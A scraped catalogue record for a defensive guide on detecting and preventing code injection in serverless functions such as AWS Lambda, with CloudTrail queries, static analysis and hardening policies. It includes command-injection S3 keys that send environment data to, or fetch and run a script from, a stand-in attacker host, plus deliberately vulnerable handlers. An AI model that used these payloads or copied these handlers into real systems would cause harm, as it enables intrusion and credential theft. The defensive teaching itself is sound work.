[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEHGEAYP1HN60ZHMSKKHQV":3,"skill-same:01M6AEHGEAYP1HN60ZHMSKKHQV":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":74,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":78,"ownerDescription":79,"updatedAt":80,"install":81,"resources":94},"01M6AEHGEAYP1HN60ZHMSKKHQV","detecting-serverless-function-injection","无服务器函数注入检测与防范","Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.","检测并防范针对无服务器函数（AWS Lambda、Azure Functions、Google Cloud Functions）的代码注入攻击，攻击途径包括事件源投毒、恶意层注入、运行时命令执行，以及通过修改函数进行的 IAM 权限提升。分析人员结合函数代码静态分析、CloudTrail 事件关联、运行时行为监控和 IAM 策略审计，在扩大的无服务器攻击面（包括 API Gateway、S3、SQS、DynamoDB Streams 和 CloudWatch 事件触发器）中识别注入向量。当请求涉及 Lambda 安全评估、无服务器注入检测、函数事件投毒分析或无服务器权限提升调查时启用。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-serverless-function-injection\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSJ8FPTACYEEYRWQRNFXKY","安全检测工程","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"detecting serverless function injection","cloud-security","IAM-escalation","OWASP-serverless","event-source-poisoning","Lambda-injection","serverless-security","lambda","owasp","iam","google","monitoring","api gateway","code","assessment","cybersecurity","static analysis","security","google cloud","malicious","2026-11-10 10:12:30",false,"---\nname: detecting-serverless-function-injection\ndescription: 'Detects and prevents code injection attacks targeting serverless functions\n  (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning,\n  malicious layer injection, runtime command execution, and IAM privilege escalation\n  via function modification. The analyst combines static analysis of function code,\n  CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing\n  to identify injection vectors across the expanded serverless attack surface including\n  API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates\n  for requests involving Lambda security assessment, serverless injection detection,\n  function event poisoning analysis, or serverless privilege escalation investigation.\n\n  '\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- serverless-security\n- Lambda-injection\n- event-source-poisoning\n- OWASP-serverless\n- IAM-escalation\n- CloudTrail\nversion: 1.0.0\nauthor: mukul975\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059\n- T1648\n- T1078.004\n- T1068\n---\n# Detecting Serverless Function Injection\n\n## When to Use\n\n- Auditing Lambda\u002FCloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`)\n- Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment\n- Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles\n- Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution\n- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns\n\n**Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.\n\n## Prerequisites\n\n- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge\n- AWS CLI v2 configured with appropriate credentials and region\n- CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`)\n- Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis\n- Access to function source code or deployment packages for static analysis\n- CloudWatch Logs Insights access for querying Lambda execution logs\n\n## Workflow\n\n### Step 1: Enumerate the Serverless Attack Surface\n\nMap all Lambda functions and their event source triggers to understand injection entry points:\n\n- **List all Lambda functions and their configurations**:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table\n  ```\n- **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function:\n  ```bash\n  aws lambda list-event-source-mappings --output json | \\\n    jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'\n  ```\n- **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:\n  ```bash\n  aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table\n  ```\n  For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.\n- **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:\n  ```bash\n  aws s3api get-bucket-notification-configuration --bucket \u003Cbucket-name>\n  ```\n- **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:\n  ```bash\n  aws lambda get-function-configuration --function-name \u003Cname> \\\n    --query 'Environment.Variables' --output json\n  ```\n- **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets:\n  ```bash\n  aws iam list-attached-role-policies --role-name \u003Clambda-exec-role>\n  aws iam list-role-policies --role-name \u003Clambda-exec-role>\n  ```\n\n### Step 2: Static Analysis for Injection Sinks\n\nScan function code for dangerous patterns that allow injected event data to execute as code or commands:\n\n- **Download function deployment packages**:\n  ```bash\n  aws lambda get-function --function-name \u003Cname> --query 'Code.Location' --output text | xargs curl -o function.zip\n  unzip function.zip -d function_code\u002F\n  ```\n- **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code:\n  ```python\n  # DANGEROUS: Direct eval\u002Fexec of event data\n  eval(event['expression'])           # Code injection via eval\n  exec(event['code'])                 # Arbitrary code execution\n  os.system(event['command'])         # OS command injection\n  subprocess.call(event['cmd'], shell=True)  # Shell injection\n  os.popen(event['input'])            # Command injection\n  pickle.loads(event['data'])         # Deserialization attack\n  yaml.load(event['config'])          # YAML deserialization (unsafe loader)\n  ```\n- **Node.js injection sinks** (Lambda Node.js runtimes):\n  ```javascript\n  \u002F\u002F DANGEROUS: Direct execution of event data\n  eval(event.expression);                    \u002F\u002F Code injection\n  new Function(event.code)();               \u002F\u002F Dynamic function creation\n  child_process.exec(event.command);         \u002F\u002F OS command injection\n  child_process.execSync(event.cmd);         \u002F\u002F Synchronous command injection\n  vm.runInNewContext(event.script);          \u002F\u002F Sandbox escape potential\n  require('child_process').exec(event.input); \u002F\u002F Import-and-execute pattern\n  ```\n- **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks:\n  ```bash\n  semgrep --config \"p\u002Fowasp-top-ten\" --config \"p\u002Fcommand-injection\" \\\n    --config \"p\u002Fpython-security\" function_code\u002F --json --output semgrep_results.json\n  ```\n- **Run Bandit for Python functions**:\n  ```bash\n  bandit -r function_code\u002F -f json -o bandit_results.json \\\n    -t B102,B301,B307,B602,B603,B604,B605,B606,B607\n  ```\n  These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns.\n\n- **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed:\n  ```python\n  # Indirect injection: event data flows into SQL query string\n  query = f\"SELECT * FROM users WHERE id = '{event['userId']}'\"\n  cursor.execute(query)  # SQL injection\n\n  # Indirect injection: event data flows into template rendering\n  template = event['template']\n  rendered = jinja2.Template(template).render()  # SSTI\n  ```\n\n### Step 3: Detect Event Source Poisoning\n\nAnalyze event sources for injection payloads that exploit how Lambda processes triggers:\n\n- **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      bucket = event['Records'][0]['s3']['bucket']['name']\n      key = event['Records'][0]['s3']['object']['key']\n      # VULNERABLE: key is attacker-controlled\n      os.system(f\"aws s3 cp s3:\u002F\u002F{bucket}\u002F{key} \u002Ftmp\u002Ffile\")\n  ```\n  Attack: Upload an object with key `; curl http:\u002F\u002Fattacker.com\u002Fexfil?data=$(env)` to inject a command through the S3 event.\n\n- **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          message = json.loads(record['body'])\n          # VULNERABLE: message content used in eval\n          result = eval(message['formula'])\n  ```\n\n- **API Gateway header\u002Fparameter injection**: HTTP request data passes through API Gateway into the Lambda event:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      user_agent = event['headers']['User-Agent']\n      # VULNERABLE: header value used in shell command\n      subprocess.run(f\"echo {user_agent} >> \u002Ftmp\u002Faccess.log\", shell=True)\n  ```\n\n- **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          new_image = record['dynamodb']['NewImage']\n          config = new_image['config']['S']\n          # VULNERABLE: DynamoDB record value used in exec\n          exec(config)\n  ```\n\n- **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs:\n  ```\n  fields @timestamp, @message\n  | filter @message like \u002F(?i)(eval|exec|os\\.system|child_process|subprocess|import os)\u002F\n  | filter @message like \u002F(?i)(error|exception|traceback|syntax)\u002F\n  | sort @timestamp desc\n  | limit 100\n  ```\n\n### Step 4: Detect Malicious Lambda Layer Injection\n\nIdentify unauthorized Lambda layers that intercept function execution or exfiltrate data:\n\n- **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json\n  ```\n- **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --end-time \"2026-03-19T23:59:59Z\" \\\n    --query 'Events[*].[EventTime,Username,CloudTrailEvent]'\n  ```\n  Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters.\n\n- **Analyze layer contents**: Download and inspect layer packages for malicious code:\n  ```bash\n  aws lambda get-layer-version --layer-name \u003Clayer-name> --version-number \u003Cversion> \\\n    --query 'Content.Location' --output text | xargs curl -o layer.zip\n  unzip layer.zip -d layer_contents\u002F\n  # Search for suspicious patterns\n  grep -rn \"urllib\\|requests\\|http\\|socket\\|exfil\\|base64\\|subprocess\" layer_contents\u002F\n  ```\n\n- **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:\n  - Python: Layer code in `\u002Fopt\u002Fpython\u002F` is imported before the function's own modules\n  - Node.js: Layer code in `\u002Fopt\u002Fnodejs\u002Fnode_modules\u002F` overrides function dependencies\n  - A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint\n\n- **CloudTrail detection query for layer changes**:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\"UpdateFunctionConfiguration20150331v2\", \"PublishLayerVersion20181031\"],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 5: Detect IAM Privilege Escalation via Lambda\n\nIdentify escalation paths where attackers modify functions to assume higher-privilege roles:\n\n- **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can:\n  1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)\n  2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions\n  3. Invoke the function, which executes with the high-privilege role\n  4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)\n\n- **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table\n  ```\n\n- **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this:\n  ```\n  # CloudWatch Logs Insights on CloudTrail logs\n  fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role\n  | filter eventName = \"UpdateFunctionConfiguration20150331v2\"\n  | filter ispresent(requestParameters.role)\n  | sort eventTime desc\n  ```\n\n- **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities:\n  ```\n  fields eventTime, userIdentity.arn, eventName, sourceIPAddress\n  | filter userIdentity.arn like \u002F.*:assumed-role\\\u002F.*lambda.*\u002F\n  | filter eventName in [\"GetCallerIdentity\", \"CreateUser\", \"AttachUserPolicy\",\n      \"CreateAccessKey\", \"AssumeRole\", \"PutUserPolicy\"]\n  | sort eventTime desc\n  ```\n\n- **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\n        \"UpdateFunctionCode20150331v2\",\n        \"UpdateFunctionConfiguration20150331v2\",\n        \"CreateFunction20150331\"\n      ],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 6: Implement Runtime Injection Prevention\n\nDeploy runtime protection controls to prevent injection at execution time:\n\n- **Input validation at handler entry**: Validate and sanitize all event data before processing:\n  ```python\n  import re\n  import json\n  from functools import wraps\n\n  SAFE_PATTERNS = {\n      'userId': re.compile(r'^[a-zA-Z0-9\\-]{1,64}$'),\n      'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'),\n      'action': re.compile(r'^(get|list|create|update|delete)$'),\n  }\n\n  def validate_event(schema):\n      \"\"\"Decorator that validates Lambda event against a whitelist schema.\"\"\"\n      def decorator(func):\n          @wraps(func)\n          def wrapper(event, context):\n              for field, pattern in schema.items():\n                  value = event.get(field, '')\n                  if isinstance(value, str) and not pattern.match(value):\n                      return {\n                          'statusCode': 400,\n                          'body': json.dumps({'error': f'Invalid {field}'})\n                      }\n              return func(event, context)\n          return wrapper\n      return decorator\n\n  @validate_event(SAFE_PATTERNS)\n  def handler(event, context):\n      # Event data is validated before reaching this point\n      user_id = event['userId']\n      # Safe to use in queries with parameterized statements\n      return {'statusCode': 200, 'body': json.dumps({'user': user_id})}\n  ```\n\n- **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth:\n  ```bash\n  aws lambda get-function-url-config --function-name \u003Cname> \\\n    --query 'AuthType' --output text\n  # Must return \"AWS_IAM\", not \"NONE\"\n  ```\n\n- **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"dynamodb:GetItem\",\n          \"dynamodb:PutItem\"\n        ],\n        \"Resource\": \"arn:aws:dynamodb:us-east-1:111122223333:table\u002FUserTable\"\n      },\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": \"logs:*\",\n        \"Resource\": \"arn:aws:logs:us-east-1:111122223333:log-group:\u002Faws\u002Flambda\u002Fmy-function:*\"\n      }\n    ]\n  }\n  ```\n\n- **SCP to prevent dangerous Lambda modifications**: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Sid\": \"DenyLambdaCodeUpdateExceptCICD\",\n        \"Effect\": \"Deny\",\n        \"Action\": [\n          \"lambda:UpdateFunctionCode\",\n          \"lambda:UpdateFunctionConfiguration\"\n        ],\n        \"Resource\": \"*\",\n        \"Condition\": {\n          \"StringNotLike\": {\n            \"aws:PrincipalArn\": \"arn:aws:iam::*:role\u002FCICD-DeploymentRole\"\n          }\n        }\n      }\n    ]\n  }\n  ```\n\n- **AWS Lambda Powertools for structured logging**: Emit structured security events that can be ingested by SIEM:\n  ```python\n  from aws_lambda_powertools import Logger, Tracer\n  from aws_lambda_powertools.utilities.validation import validate\n\n  logger = Logger(service=\"payment-processor\")\n  tracer = Tracer()\n\n  @logger.inject_lambda_context\n  @tracer.capture_lambda_handler\n  def handler(event, context):\n      logger.info(\"Processing event\", extra={\n          \"source_ip\": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),\n          \"user_agent\": event.get('headers', {}).get('User-Agent'),\n          \"http_method\": event.get('httpMethod'),\n      })\n  ```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Event Source Poisoning** | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |\n| **Function Injection** | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |\n| **Lambda Layer Hijacking** | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |\n| **IAM Privilege Escalation via Lambda** | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |\n| **OWASP Serverless Top 10** | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |\n| **Cold Start Injection** | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |\n| **Execution Role** | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |\n\n## Tools & Systems\n\n- **Semgrep**: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes\n- **Bandit**: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization\n- **AWS CloudTrail**: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns\n- **CloudWatch Logs Insights**: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns\n- **AWS Config**: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types\n- **Prowler**: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption\n\n## Common Scenarios\n\n### Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack\n\n**Context**: A SOC analyst receives a GuardDuty alert for `UnauthorizedAccess:IAMUser\u002FInstanceCredentialExfiltration.OutsideAWS` on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with `lambda:UpdateFunctionCode` permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.\n\n**Approach**:\n1. Query CloudTrail for `UpdateFunctionCode` events in the past 7 days to identify when the function was modified and by which principal:\n   ```\n   fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress\n   | filter eventName = \"UpdateFunctionCode20150331v2\"\n   | filter requestParameters.functionName = \"payment-processor\"\n   | sort eventTime desc\n   ```\n2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows\n3. Download the modified function code and find an injected snippet that POSTs `os.environ['AWS_ACCESS_KEY_ID']`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` to an external endpoint on each invocation\n4. Check if the attacker also added a malicious layer by querying for `UpdateFunctionConfiguration` events with layer changes\n5. Verify the function's execution role permissions: the payment-processor role has `dynamodb:*`, `s3:GetObject`, `s3:PutObject`, and `sqs:SendMessage` across all resources, exceeding least privilege\n6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding `sts:GetCallerIdentity`, `s3:ListBuckets`, `dynamodb:Scan` on the customer table, and `iam:CreateUser` attempts\n7. Respond by reverting the function code from the last known-good deployment package in the CI\u002FCD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts `lambda:UpdateFunctionCode` to the CI\u002FCD role only\n\n**Pitfalls**:\n- Only checking the function code and missing malicious layers that persist even after the function code is reverted\n- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3\n- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid\n- Restoring the function without first preserving the malicious code as forensic evidence\n- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open\n\n## Output Format\n\n```\n## Serverless Function Injection Assessment\n\n**Account**: 111122223333\n**Region**: us-east-1\n**Functions Analyzed**: 47\n**Event Source Mappings**: 23\n**Assessment Date**: 2026-03-19\n\n### Critical Findings\n\n#### FINDING-001: OS Command Injection in S3 Event Handler\n**Function**: image-resize-processor\n**Runtime**: python3.12\n**Severity**: Critical (CVSS 9.8)\n**Sink**: os.system() at handler.py:34\n**Source**: event['Records'][0]['s3']['object']['key']\n**Attack Vector**: Upload S3 object with key containing shell metacharacters\n**Proof of Concept**:\n  Object key: `; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash`\n  Results in: os.system(\"convert \u002Ftmp\u002F; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\")\n**Remediation**: Replace os.system() with subprocess.run() with shell=False\n  and validate the S3 key against an allowlist pattern.\n\n#### FINDING-002: IAM Privilege Escalation Path\n**Function**: data-export-worker\n**Execution Role**: arn:aws:iam::111122223333:role\u002FDataExportRole\n**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*\n**Risk**: Any user with lambda:UpdateFunctionCode can modify this function\n  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.\n**Remediation**: Apply least privilege to the execution role, restrict\n  lambda:UpdateFunctionCode via SCP to CI\u002FCD pipeline role only.\n\n#### FINDING-003: Unauthorized Layer Attached\n**Function**: auth-token-validator\n**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3\n**Layer Account**: External account (999888777666)\n**Risk**: Layer from untrusted external account can intercept all function\n  invocations, modify responses, or exfiltrate environment variables.\n**Remediation**: Remove the external layer, vendor the dependency into the\n  function's deployment package, add AWS Config rule to block external layers.\n\n### Detection Rules Deployed\n- EventBridge rule: Alert on UpdateFunctionCode from non-CI\u002FCD principals\n- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes\n- Config rule: Lambda functions must not have layers from external accounts\n- Config rule: Lambda execution roles must not have wildcard resource permissions\n```\n","# Detecting Serverless Function Injection\n\n## When to Use\n\n- Auditing Lambda\u002FCloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`)\n- Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment\n- Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles\n- Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution\n- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns\n\n**Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.\n\n## Prerequisites\n\n- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge\n- AWS CLI v2 configured with appropriate credentials and region\n- CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`)\n- Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis\n- Access to function source code or deployment packages for static analysis\n- CloudWatch Logs Insights access for querying Lambda execution logs\n\n## Workflow\n\n### Step 1: Enumerate the Serverless Attack Surface\n\nMap all Lambda functions and their event source triggers to understand injection entry points:\n\n- **List all Lambda functions and their configurations**:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table\n  ```\n- **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function:\n  ```bash\n  aws lambda list-event-source-mappings --output json | \\\n    jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'\n  ```\n- **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:\n  ```bash\n  aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table\n  ```\n  For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.\n- **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:\n  ```bash\n  aws s3api get-bucket-notification-configuration --bucket \u003Cbucket-name>\n  ```\n- **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:\n  ```bash\n  aws lambda get-function-configuration --function-name \u003Cname> \\\n    --query 'Environment.Variables' --output json\n  ```\n- **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets:\n  ```bash\n  aws iam list-attached-role-policies --role-name \u003Clambda-exec-role>\n  aws iam list-role-policies --role-name \u003Clambda-exec-role>\n  ```\n\n### Step 2: Static Analysis for Injection Sinks\n\nScan function code for dangerous patterns that allow injected event data to execute as code or commands:\n\n- **Download function deployment packages**:\n  ```bash\n  aws lambda get-function --function-name \u003Cname> --query 'Code.Location' --output text | xargs curl -o function.zip\n  unzip function.zip -d function_code\u002F\n  ```\n- **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code:\n  ```python\n  # DANGEROUS: Direct eval\u002Fexec of event data\n  eval(event['expression'])           # Code injection via eval\n  exec(event['code'])                 # Arbitrary code execution\n  os.system(event['command'])         # OS command injection\n  subprocess.call(event['cmd'], shell=True)  # Shell injection\n  os.popen(event['input'])            # Command injection\n  pickle.loads(event['data'])         # Deserialization attack\n  yaml.load(event['config'])          # YAML deserialization (unsafe loader)\n  ```\n- **Node.js injection sinks** (Lambda Node.js runtimes):\n  ```javascript\n  \u002F\u002F DANGEROUS: Direct execution of event data\n  eval(event.expression);                    \u002F\u002F Code injection\n  new Function(event.code)();               \u002F\u002F Dynamic function creation\n  child_process.exec(event.command);         \u002F\u002F OS command injection\n  child_process.execSync(event.cmd);         \u002F\u002F Synchronous command injection\n  vm.runInNewContext(event.script);          \u002F\u002F Sandbox escape potential\n  require('child_process').exec(event.input); \u002F\u002F Import-and-execute pattern\n  ```\n- **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks:\n  ```bash\n  semgrep --config \"p\u002Fowasp-top-ten\" --config \"p\u002Fcommand-injection\" \\\n    --config \"p\u002Fpython-security\" function_code\u002F --json --output semgrep_results.json\n  ```\n- **Run Bandit for Python functions**:\n  ```bash\n  bandit -r function_code\u002F -f json -o bandit_results.json \\\n    -t B102,B301,B307,B602,B603,B604,B605,B606,B607\n  ```\n  These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns.\n\n- **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed:\n  ```python\n  # Indirect injection: event data flows into SQL query string\n  query = f\"SELECT * FROM users WHERE id = '{event['userId']}'\"\n  cursor.execute(query)  # SQL injection\n\n  # Indirect injection: event data flows into template rendering\n  template = event['template']\n  rendered = jinja2.Template(template).render()  # SSTI\n  ```\n\n### Step 3: Detect Event Source Poisoning\n\nAnalyze event sources for injection payloads that exploit how Lambda processes triggers:\n\n- **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      bucket = event['Records'][0]['s3']['bucket']['name']\n      key = event['Records'][0]['s3']['object']['key']\n      # VULNERABLE: key is attacker-controlled\n      os.system(f\"aws s3 cp s3:\u002F\u002F{bucket}\u002F{key} 